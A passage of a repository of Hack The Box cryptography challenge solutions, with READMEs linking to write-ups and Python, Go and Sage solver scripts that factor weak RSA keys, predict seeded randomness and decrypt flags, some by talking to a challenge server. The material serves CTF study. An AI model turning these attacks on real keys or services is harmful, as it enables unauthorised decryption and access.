| 25 | load('coppersmith.sage') 26 | y, z = small_roots(P, (2 ** trunc, 2 ** trunc))[0] 27 | print(f'{y = }; {z = }') 28 | 29 | h1 = H1 + y 30 | h2 = H2 + z 31 | 32 | x = b * (A[0] - A[1] * h1) * pow(a ** 2 * h1 - a, -1, p) % p 33 | assert x == b * (A[2] - A[3] * h2) * pow(a ** 4 * h2 - a ** 3, -1, p) % p 34 | 35 | print(bytes.fromhex(hex(x)[2:])) 36 | -------------------------------------------------------------------------------- /Challenges/Crypto/CryptoConundrum/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. CryptoConundrum 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/cryptoconundrum 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/CryptoConundrum/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | 5 | from typing import Dict, List 6 | 7 | sys.setrecursionlimit(100000) 8 | 9 | enc_data: List[str] 10 | freqs: Dict[str, float] 11 | 12 | with open('output.txt') as o, open('frequencies.txt') as f: 13 | enc_data = o.read().splitlines() 14 | freqs = eval(f.read()) 15 | 16 | alphabet = set(enc_data) 17 | 18 | enc_freqs = {enc: enc_data.count(enc) for enc in enc_data} 19 | new_freqs = {b: round(f * len(enc_data)) for b, f in freqs.items() if f != 0} 20 | 21 | done = False 22 | 23 | 24 | def dfs(bigram: str, index: int = 0, bigrams: List[str] | None = None): 25 | global done 26 | 27 | bigrams = [] if bigrams is None else bigrams 28 | 29 | if index == len(enc_data) == len(bigrams): 30 | print(''.join(map(lambda s: s[0], bigrams[1:])) + bigram) 31 | done = True 32 | 33 | if done: 34 | return 35 | 36 | count = enc_freqs[enc_data[index]] 37 | bigrams.append(bigram) 38 | 39 | for next_bigram in next_bigrams(bigram[-1], count): 40 | dfs(next_bigram, index + 1, bigrams.copy()) 41 | 42 | 43 | def next_bigrams(letter: str, count: int) -> List[str]: 44 | return [b for b, n in new_freqs.items() if n == count and b.startswith(letter)] 45 | 46 | 47 | dfs('*A') 48 | -------------------------------------------------------------------------------- /Challenges/Crypto/Digital Safety Annex/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Digital Safety Annex 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/digital-safety-annex 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Down the Rabinhole/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Down the Rabinhole 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/down-the-rabinhole 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Down the Rabinhole/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import math 4 | 5 | 6 | def main(): 7 | with open('out.txt') as f: 8 | n1, c1, c2, n2, c3, c4, L = map(int, f.read().splitlines()) 9 | 10 | C = math.gcd(n1 - 4, n2 - 4) // 3 11 | 12 | K = 256 - math.floor(L / 2) 13 | P = int(hex(K)[2:] * K, 16) 14 | 15 | X = (c2 - P ** 2 - P * C) * pow(256 ** K, -1, n1) % n1 16 | m1 = (X - 256 ** K * c1) * pow(2 * P + C - C * 256 ** K, -1, n1) % n1 17 | 18 | K = 256 - math.ceil(L / 2) 19 | P = int(hex(K)[2:] * K, 16) 20 | 21 | Y = (c4 - P ** 2 - P * C) * pow(256 ** K, -1, n2) % n2 22 | m2 = (Y - 256 ** K * c3) * pow(2 * P + C - C * 256 ** K, -1, n2) % n2 23 | 24 | print(bytes.fromhex(hex(m1)[2:] + hex(m2)[2:])) 25 | 26 | 27 | if __name__ == '__main__': 28 | main() 29 | -------------------------------------------------------------------------------- /Challenges/Crypto/Elliptic Labyrinth/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Elliptic Labyrinth 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/elliptic-labyrinth 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Fibopadcci/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Fibopadcci 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/fibopadcci 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Find Marher's Secret/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Find Marher's Secret 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/find-marhers-secret 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Hash the Filesystem/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Hash the Filesystem 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/hash-the-filesystem 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Homomurphy's Law/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Homomurphy's Law 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/homomurphys-law 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/How The Columns Have Turned/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. How The Columns Have Turned 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/how-the-columns-have-turned 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/How The Columns Have Turned/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import re 4 | 5 | 6 | def derive_key(key): 7 | derived_key = [] 8 | 9 | for i, char in enumerate(key): 10 | previous_letters = key[:i] 11 | new_number = 1 12 | 13 | for j, previous_char in enumerate(previous_letters): 14 | if previous_char > char: 15 | derived_key[j] += 1 16 | else: 17 | new_number += 1 18 | 19 | derived_key.append(new_number) 20 | 21 | return derived_key 22 | 23 | 24 | def transpose(array): 25 | return [row for row in map(list, zip(*array))] 26 | 27 | 28 | def flatten(array): 29 | return "".join([i for sub in array for i in sub]) 30 | 31 | 32 | def twisted_columnar_decrypt(ct, key): 33 | derived_key = derive_key(key) 34 | width = len(key) 35 | length = len(ct) // len(key) 36 | 37 | blocks = [list(ct[i:i + length]) for i in range(0, len(ct), length)] 38 | 39 | pt = blocks.copy() 40 | 41 | for i in range(width): 42 | pt[derived_key.index(i + 1)] = blocks[i][::-1] 43 | 44 | pt = transpose(pt) 45 | pt = flatten(pt) 46 | 47 | return pt 48 | 49 | 50 | def main(): 51 | with open('encrypted_messages.txt') as f: 52 | enc_messages = [line.strip() for line in f.readlines()] 53 | 54 | with open('dialog.txt') as f: 55 | key = re.findall(r'The key is: (\d*)', f.read())[0] 56 | 57 | messages = [] 58 | 59 | for enc_message in enc_messages: 60 | messages.append(twisted_columnar_decrypt(enc_message, key)) 61 | 62 | print('\n'.join(messages)) 63 | 64 | 65 | if __name__ == '__main__': 66 | main() 67 | -------------------------------------------------------------------------------- /Challenges/Crypto/I know Mag1k/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. I know Mag1k 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/i-know-mag1k 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Infinite Descent/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Infinite Descent 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/infinite-descent 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Infinite Descent/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from Crypto.PublicKey import RSA 4 | from Crypto.Util.number import isPrime 5 | 6 | from gmpy2 import iroot 7 | 8 | from AESbootstrap import gen_and_check 9 | 10 | 11 | def main(): 12 | key = RSA.import_key('''-----BEGIN PUBLIC KEY----- 13 | MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgFbDk+zYy1tbjwPpsTWbYjIfBtZk 14 | walARbJxLg6QhyalsGnBx064VFIH9XIKzPK/Dt1RzMO68gy7zLOiyipPtYb2n0M6 15 | WcdDGgw9J9+xx4HjXZCHx4h4zQhfQeOYymeSPewXJOe+GT31ymz6/Q1Ulyq/jWnD 16 | XZogxfbXi6bIwuN7AgMBAAE= 17 | -----END PUBLIC KEY----- 18 | ''') 19 | 20 | p = iroot(key.n, 2)[0] 21 | 22 | while not isPrime(p): 23 | p += 1 24 | 25 | q = p - 1 26 | 27 | while not isPrime(q): 28 | q -= 1 29 | 30 | assert key.n == p * q 31 | 32 | c = 41296290787170212566581926747559000694979534392034439796933335542554551981322424774631715454669002723657175134418412556653226439790475349107756702973735895193117931356004359775501074138668004417061809481535231402802835349794859992556874148430578703014721700812262863679987426564893631600671862958451813895661 33 | 34 | phi_n = (p - 1) * (q - 1) 35 | d = pow(key.e, -1, phi_n) 36 | m = pow(c, d, key.n) 37 | m_str = str(m) 38 | 39 | m_numbers = [int(m_str[i:i+3]) for i in range(0, len(m_str), 3)] 40 | flag = '' 41 | 42 | for m_n in m_numbers: 43 | list = str(bin(gen_and_check(m_n))) 44 | candidate = list[2::] 45 | candidate = candidate.zfill(8) 46 | flag += chr(int(candidate, 2)) 47 | 48 | print(flag) 49 | 50 | 51 | if __name__ == '__main__': 52 | main() 53 | -------------------------------------------------------------------------------- /Challenges/Crypto/Infinite Knapsack/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Infinite Knapsack 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/infinite-knapsack 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Interception/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Interception 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/interception 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Jenny From The Block/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Jenny From The Block 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/jenny-from-the-block 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Jenny From The Block/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | from hashlib import sha256 5 | 6 | BLOCK_SIZE = 32 7 | 8 | 9 | def get_process(): 10 | host, port = sys.argv[1].split(':') 11 | return remote(host, int(port)) 12 | 13 | 14 | def decrypt_block(enc_block, plaintext): 15 | dec_block = b'' 16 | 17 | for i in range(BLOCK_SIZE): 18 | val = (enc_block[i] - plaintext[i]) % 256 19 | dec_block += bytes([val]) 20 | 21 | return dec_block 22 | 23 | 24 | def main(): 25 | p = get_process() 26 | 27 | p.sendlineafter(b'> ', b'cat secret.txt') 28 | ct = bytes.fromhex(p.recvline().strip().decode()) 29 | 30 | block = b'Command executed: cat secret.txt' 31 | secret = block 32 | i = 0 33 | 34 | while b'}' not in secret: 35 | h = sha256(ct[32 * i : 32 * (i + 1)] + block).digest() 36 | block = decrypt_block(ct[32 * (i + 1) : 32 * (i + 2)], h) 37 | secret += block 38 | i += 1 39 | 40 | print(secret.decode()) 41 | p.close() 42 | 43 | 44 | if __name__ == '__main__': 45 | main() 46 | -------------------------------------------------------------------------------- /Challenges/Crypto/Living with Elegance/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Living with Elegance 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/living-with-elegance 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Living with Elegance/solve.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "strconv" 7 | "strings" 8 | 9 | pwn "github.com/7Rocky/gopwntools" 10 | ) 11 | 12 | func getProcess() *pwn.Conn { 13 | if len(os.Args) == 1 { 14 | return pwn.Process("python3", "server.py") 15 | } 16 | 17 | hostPort := strings.Split(os.Args[1], ":") 18 | return pwn.Remote(hostPort[0], hostPort[1]) 19 | } 20 | 21 | func getEncryption(index int) int { 22 | io.SendLineAfter([]byte("Specify the index of the bit you want to get an encryption for : "), []byte(strconv.Itoa(index))) 23 | io.RecvUntil([]byte("b = ")) 24 | c, _ := strconv.Atoi(strings.TrimSpace(io.RecvLineS())) 25 | return c 26 | } 27 | 28 | var io *pwn.Conn 29 | 30 | func main() { 31 | io = getProcess() 32 | defer io.Close() 33 | 34 | io.SendLineAfter([]byte("Specify the index of the bit you want to get an encryption for : "), []byte("10000")) 35 | io.RecvUntil([]byte("The index must lie in the interval [0, ")) 36 | bitLength, _ := strconv.Atoi(io.RecvUntilS([]byte{']'}, true)) 37 | bitLength++ 38 | 39 | bits := make([]int, bitLength) 40 | prog := pwn.Progress("Bits") 41 | 42 | for i := 0; i < bitLength; i++ { 43 | prog.Status(fmt.Sprintf("%d / %d", i+1, bitLength)) 44 | 45 | for range 30 { 46 | c := getEncryption(i) 47 | 48 | if c < 0 || 256 < c { 49 | bits[i] = 1 50 | break 51 | } 52 | } 53 | } 54 | 55 | prog.Success(fmt.Sprintf("%[1]d / %[1]d", bitLength)) 56 | 57 | for len(bits)%8 != 0 { 58 | bits = append([]int{0}, bits...) 59 | } 60 | 61 | flag := make([]byte, len(bits)/8) 62 | 63 | for i := 0; i < bitLength; i += 8 { 64 | for j, v := range bits[i : i+8] { 65 | flag[i/8] |= byte(v << (7 - j)) 66 | } 67 | } 68 | 69 | pwn.Success(string(flag)) 70 | } 71 | -------------------------------------------------------------------------------- /Challenges/Crypto/LunaCrypt/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. LunaCrypt 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/lunacrypt 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/LunaCrypt/solve.py: -------------------------------------------------------------------------------- 1 | def decrypt_character(char: int, flag: int) -> int: 2 | if flag & 0b0001_0000: 3 | char ^= 0b0011_1110 4 | if flag & 0b0000_1000: 5 | char ^= 0b0110_1011 6 | if flag & 0b0000_0010: 7 | char = 255 - char 8 | if flag & 0b0100_0000: 9 | THIS_MSB = (char >> 4) & 0b1111 10 | THIS_LSB = char & 0b1111 11 | char = ((THIS_LSB << 4) ^ 0b1101_0000) | (THIS_MSB ^ 0b1011) 12 | 13 | return char 14 | 15 | 16 | def main(): 17 | with open('output.txt') as f: 18 | numbers = list(map(int, f.read().split())) 19 | 20 | for i in range(0, len(numbers), 2): 21 | flag = numbers[i + 1] ^ 0x4a 22 | print(chr(decrypt_character(numbers[i], flag)), end='') 23 | 24 | 25 | if __name__ == '__main__': 26 | main() 27 | -------------------------------------------------------------------------------- /Challenges/Crypto/MSS/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. MSS 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/mss 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/MSS/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import json 4 | 5 | from hashlib import sha256 6 | from pwn import process, remote, sys 7 | 8 | from sympy.ntheory.modular import crt 9 | 10 | from Crypto.Cipher import AES 11 | from Crypto.Util.number import getPrime 12 | from Crypto.Util.Padding import unpad 13 | 14 | 15 | def get_process(): 16 | if len(sys.argv) == 1: 17 | return process(['python3', 'server.py']) 18 | 19 | host, port = sys.argv[1].split(':') 20 | return remote(host, port) 21 | 22 | 23 | io = get_process() 24 | 25 | primes, remainders = [], [] 26 | 27 | for _ in range(19): 28 | p = getPrime(15) 29 | io.sendlineafter(b'query = ', json.dumps( 30 | {'command': 'get_share', 'x': p}).encode()) 31 | r = json.loads(io.recvline().decode()).get('y') 32 | primes.append(p) 33 | remainders.append(r % p) 34 | 35 | key = crt(primes, remainders)[0] 36 | 37 | io.sendlineafter(b'query = ', json.dumps({'command': 'encrypt_flag'}).encode()) 38 | io.recvuntil(b'[+] Here is your encrypted flag : ') 39 | data = json.loads(io.recvuntil(b'}').decode()) 40 | 41 | iv = bytes.fromhex(data.get('iv')) 42 | enc_flag = bytes.fromhex(data.get('enc_flag')) 43 | 44 | key = sha256(str(key).encode()).digest() 45 | cipher = AES.new(key, AES.MODE_CBC, iv) 46 | flag = unpad(cipher.decrypt(enc_flag), AES.block_size).decode() 47 | io.success(flag) 48 | -------------------------------------------------------------------------------- /Challenges/Crypto/Mayday Mayday/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Mayday Mayday 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/mayday-mayday 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Mayday Mayday/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from sage.all import assume, PolynomialRing, solve, var, Zmod 4 | 5 | 6 | with open('output.txt') as f: 7 | n = int(f.readline().split(' = ')[1], 16) 8 | e = int(f.readline().split(' = ')[1], 16) 9 | c = int(f.readline().split(' = ')[1], 16) 10 | dp_H = int(f.readline().split(' = ')[1], 16) << 512 11 | dq_H = int(f.readline().split(' = ')[1], 16) << 512 12 | 13 | 14 | A = (e * dp_H - 1) * (e * dq_H - 1) // n + 1 15 | S = (A * (1 - n) + 1) % e 16 | 17 | kp_var, kq_var = var('kp, kq') 18 | assume(kp_var, 'integer') 19 | assume(kq_var, 'integer') 20 | 21 | possible_kp_kq = [] 22 | 23 | while True: 24 | sols = solve([ 25 | kp_var * kq_var == A, 26 | kp_var + kq_var == S 27 | ], kp_var, kq_var, algorithm='sympy') 28 | 29 | if not sols: 30 | S += e 31 | continue 32 | 33 | for sol in sols: 34 | kp, kq = map(int, sol.values()) 35 | possible_kp_kq.append((kp, kq)) 36 | 37 | break 38 | 39 | 40 | x = PolynomialRing(Zmod(n), 'x').gens()[0] 41 | 42 | for kp, kq in possible_kp_kq: 43 | d_kp = (pow(e, -1, kp) - dp_H) % kp 44 | P = (e * (dp_H + kp * x + d_kp) - 1 + kp).monic() 45 | roots = P.small_roots(beta=0.5) 46 | 47 | if roots and roots[0] != n: 48 | dp_L = kp * roots[0] + d_kp 49 | p = int((e * (dp_H + dp_L) - 1 + kp) // kp) 50 | assert n % p == 0 and 1 < p < n 51 | q = n // p 52 | d = pow(e, -1, (p - 1) * (q - 1)) 53 | m = pow(c, d, n) 54 | print(bytes.fromhex(hex(m)[2:]).decode()) 55 | break 56 | -------------------------------------------------------------------------------- /Challenges/Crypto/Mind In The Clouds/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Mind In The Clouds 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/mind-in-the-clouds 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Not that random/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Not that random 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/not-that-random 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/One Step Closer/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. One Step Closer 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/one-step-closer 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/One Step Closer/solve.sage: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sage 2 | 3 | import requests 4 | import sys 5 | 6 | 7 | def composite_modulus_gcd(f, g): 8 | if g == 0: 9 | return f.monic() 10 | 11 | return composite_modulus_gcd(g, f % g) 12 | 13 | 14 | def franklin_reiter(n, e, ct1, ct2, a1, a2, b1, b2): 15 | P. = PolynomialRing(Zmod(n)) 16 | f = (a1 * x + b1) ^ e - ct1 17 | g = (a2 * x + b2) ^ e - ct2 18 | 19 | return -composite_modulus_gcd(f, g).coefficients()[0] % n 20 | 21 | 22 | def main(): 23 | host = sys.argv[1] 24 | 25 | r = requests.get(f'http://{host}/api/get_flag') 26 | 27 | ct1 = int(r.json().get('ct'), 16) 28 | n = int(r.json().get('n'), 16) 29 | e = int(r.json().get('e'), 16) 30 | a1 = int(r.json().get('a'), 16) 31 | b1 = int(r.json().get('b'), 16) 32 | 33 | r = requests.get(f'http://{host}/api/get_flag') 34 | 35 | ct2 = int(r.json().get('ct'), 16) 36 | a2 = int(r.json().get('a'), 16) 37 | b2 = int(r.json().get('b'), 16) 38 | 39 | m = franklin_reiter(n, e, ct1, ct2, a1, a2, b1, b2) 40 | print(bytes.fromhex(hex(m)[2:]).decode()) 41 | 42 | 43 | if __name__ == '__main__': 44 | main() 45 | -------------------------------------------------------------------------------- /Challenges/Crypto/Optimus Prime/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Optimus Prime 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/optimus-prime 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Optimus Prime/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from math import gcd 4 | from pwn import remote, sys 5 | 6 | 7 | def get_process(): 8 | if len(sys.argv) != 2: 9 | print(f'Usage: python3 {sys.argv[0]} ') 10 | exit(1) 11 | 12 | host, port = sys.argv[1].split(':') 13 | return remote(host, int(port)) 14 | 15 | 16 | def get_public_key(p) -> int: 17 | p.sendlineafter(b'Enter the option: ', b'4') 18 | p.recvuntil(b'PUBLIC KEY: ') 19 | return int(p.recvline()) 20 | 21 | 22 | def get_encrypted_password(p) -> int: 23 | p.recvuntil(b'ENCRYPTED PASSWORD: ') 24 | return int(p.recvline()) 25 | 26 | 27 | def main(): 28 | r = get_process() 29 | 30 | n1 = get_public_key(r) 31 | c1 = get_encrypted_password(r) 32 | 33 | r.close() 34 | r = get_process() 35 | 36 | n2 = get_public_key(r) 37 | c2 = get_encrypted_password(r) 38 | 39 | px = gcd(n1, n2) 40 | p2 = n2 // px 41 | 42 | e = 65537 43 | phi_n2 = (px - 1) * (p2 - 1) 44 | d2 = pow(e, -1, phi_n2) 45 | 46 | m = bytes.fromhex(hex(pow(c2, d2, n2))[2:]) 47 | 48 | r.sendlineafter(b'Please use it to proceed: ', m) 49 | r.recvuntil(b'ACCESS GRANTED: ') 50 | print(r.recvline().decode()) 51 | 52 | 53 | if __name__ == '__main__': 54 | main() 55 | -------------------------------------------------------------------------------- /Challenges/Crypto/Oracle Leaks/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Oracle Leaks 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/oracle-leaks 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Partial Tenacity/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Partial Tenacity 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/partial-tenacity 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Partial Tenacity/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from Crypto.PublicKey import RSA 4 | from Crypto.Cipher import PKCS1_OAEP 5 | 6 | n = 113885866414967666002972488658501581523252563769498903942813659534669192201155190251383326523008134606996199193472232684661637386940661594327513591391999626564784682500337524012474617483098011060289946582371155292302705685943021986766584545105444481270761266224342249010400461266963638157749562695294713843509 7 | ct = bytes.fromhex('44a45518f4b49c2985a4e696d6fb48bc94e2e9e10b1b518786ab7205298d47250ae85ef69acd04f5daafdcdeda748eff1510ec8a42f1923dfd1bf893082eb7ebed7ca88441f92c1dac61ca5fdf0e9d968cf8213e2ca0a8e24dbfec2bbd58205c60abceb242025a1e8412a0a92a0ae7dd3d6bb0cde0bf28511376003ae907a52b') 8 | p = '169785301867063487293453013833911015973907683687605489113424565682424824172371' 9 | q = '02316166678868901218282182600315316354684047272123731927933503134218133661721' 10 | 11 | p_digits = [] 12 | q_digits = [] 13 | 14 | for d in str(p): 15 | p_digits.append(d) 16 | p_digits.append('0') 17 | 18 | p = int(''.join(p_digits[:-1])) 19 | 20 | for d in str(q): 21 | q_digits.append('0') 22 | q_digits.append(d) 23 | 24 | q_digits.append('0') 25 | 26 | q = int(''.join(q_digits)) 27 | 28 | for i in range(len(q_digits)): 29 | if i % 2 == 0: 30 | while n % (10 ** (i + 1)) != (p * q) % (10 ** (i + 1)): 31 | q += 10 ** i 32 | else: 33 | while n % (10 ** (i + 1)) != (p * q) % (10 ** (i + 1)): 34 | p += 10 ** i 35 | 36 | assert p * q == n 37 | 38 | e = 65537 39 | d = pow(e, -1, (p - 1) * (q - 1)) 40 | cipher = PKCS1_OAEP.new(RSA.construct((n, e, d))) 41 | pt = cipher.decrypt(ct) 42 | print(pt.decode()) 43 | -------------------------------------------------------------------------------- /Challenges/Crypto/Quadratic Points/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Quadratic Points 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/quadratic-points 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/RLotto/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. RLotto 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/rlotto 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/RLotto/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import random, re, remote, sys, time 2 | 3 | 4 | def main(): 5 | ip, port = sys.argv[1].split(':') 6 | flag = win_lotto(ip, port) 7 | 8 | print() 9 | print(flag) 10 | 11 | 12 | def win_lotto(ip, port): 13 | r = remote(ip, port) 14 | now = int(time.time()) - 2 15 | 16 | out = r.recvuntil(b'numbers: ').decode() 17 | extraction, _ = re.findall(r'EXTRACTION: ((\d+ ){5})', out)[0] 18 | 19 | ext, dt = '', 0 20 | 21 | while ext != extraction.strip(): 22 | ext, sol = handle(now + dt) 23 | dt += 1 24 | 25 | if dt > 10: 26 | print('Not found...') 27 | sys.exit(1) 28 | 29 | r.sendline(sol.encode()) 30 | 31 | flag = re.findall(r'HTB\{.*?\}', r.recvall().decode('utf-8'))[0] 32 | 33 | r.close() 34 | 35 | return flag 36 | 37 | 38 | def handle(seed): 39 | random.seed(seed) 40 | 41 | def gen(): 42 | numbers = [] 43 | 44 | while len(numbers) < 5: 45 | r = random.randint(1, 90) 46 | 47 | if r not in numbers: 48 | numbers.append(r) 49 | 50 | return numbers 51 | 52 | extracted, solution = gen(), gen() 53 | 54 | return ' '.join(map(str, extracted)), ' '.join(map(str, solution)) 55 | 56 | 57 | if __name__ == '__main__': 58 | main() 59 | -------------------------------------------------------------------------------- /Challenges/Crypto/Roulette/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Roulette 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/roulette 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/SPG/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. SPG 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/spg 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/SPG/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import string 4 | 5 | from base64 import b64decode 6 | from hashlib import sha256 7 | 8 | from Crypto.Cipher import AES 9 | from Crypto.Util.Padding import unpad 10 | 11 | 12 | ALPHABET = string.ascii_letters + string.digits + '~!@#$%^&*' 13 | 14 | 15 | def crack_password(password): 16 | master_key = 0 17 | 18 | for i, p in enumerate((password)): 19 | if p in ALPHABET[:len(ALPHABET) // 2]: 20 | master_key |= 1 << i 21 | 22 | return master_key.to_bytes((7 + len(password)) // 8, 'little') 23 | 24 | 25 | def main(): 26 | password = 't*!zGnf#LKO~drVQc@n%oFFZyvhvGZq8zbfXKvE1#*R%uh*$M6c$zrxWedrAENFJB7xz0ps4zh94EwZOnVT9&h' 27 | ciphertext = 'GKLlVVw9uz/QzqKiBPAvdLA+QyRqyctsPJ/tx8Ac2hIUl8/kJaEvHthHUuwFDRCs' 28 | MASTER_KEY = crack_password(password) 29 | encryption_key = sha256(MASTER_KEY).digest() 30 | cipher = AES.new(encryption_key, AES.MODE_ECB) 31 | 32 | print(unpad(cipher.decrypt(b64decode(ciphertext)), AES.block_size).decode()) 33 | 34 | if __name__ == '__main__': 35 | main() 36 | -------------------------------------------------------------------------------- /Challenges/Crypto/Secure Signing/README.md: -------------------------------------------------------------------------------- 1 | # Hack The Box. Challenges. Crypto. Secure Signing 2 | 3 | Challenge write-up: https://7rocky.github.io/en/ctf/htb-challenges/crypto/secure-signing 4 | -------------------------------------------------------------------------------- /Challenges/Crypto/Secure Signing/solve.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "os" 6 | "strings" 7 | 8 | "crypto/sha256" 9 | 10 | pwn "github.com/7Rocky/gopwntools" 11 | ) 12 | 13 | func getProcess() *pwn.Conn { 14 | if len(os.Args) == 1 { 15 | return pwn.Process("python3", "server.py") 16 | } 17 | 18 | hostPort := strings.Split(os.Args[1], ":") 19 | return pwn.Remote(hostPort[0], hostPort[1]) 20 | } 21 | 22 | func sendHash(io *pwn.Conn, msg []byte) string { 23 | io.SendLineAfter([]byte("> "), []byte{'1'}) 24 | io.SendLineAfter([]byte("Enter your message: "), msg) 25 | io.RecvUntil([]byte("Hash: ")) 26 | return strings.TrimSpace(io.RecvLineS()) 27 | } 28 | 29 | func main() { 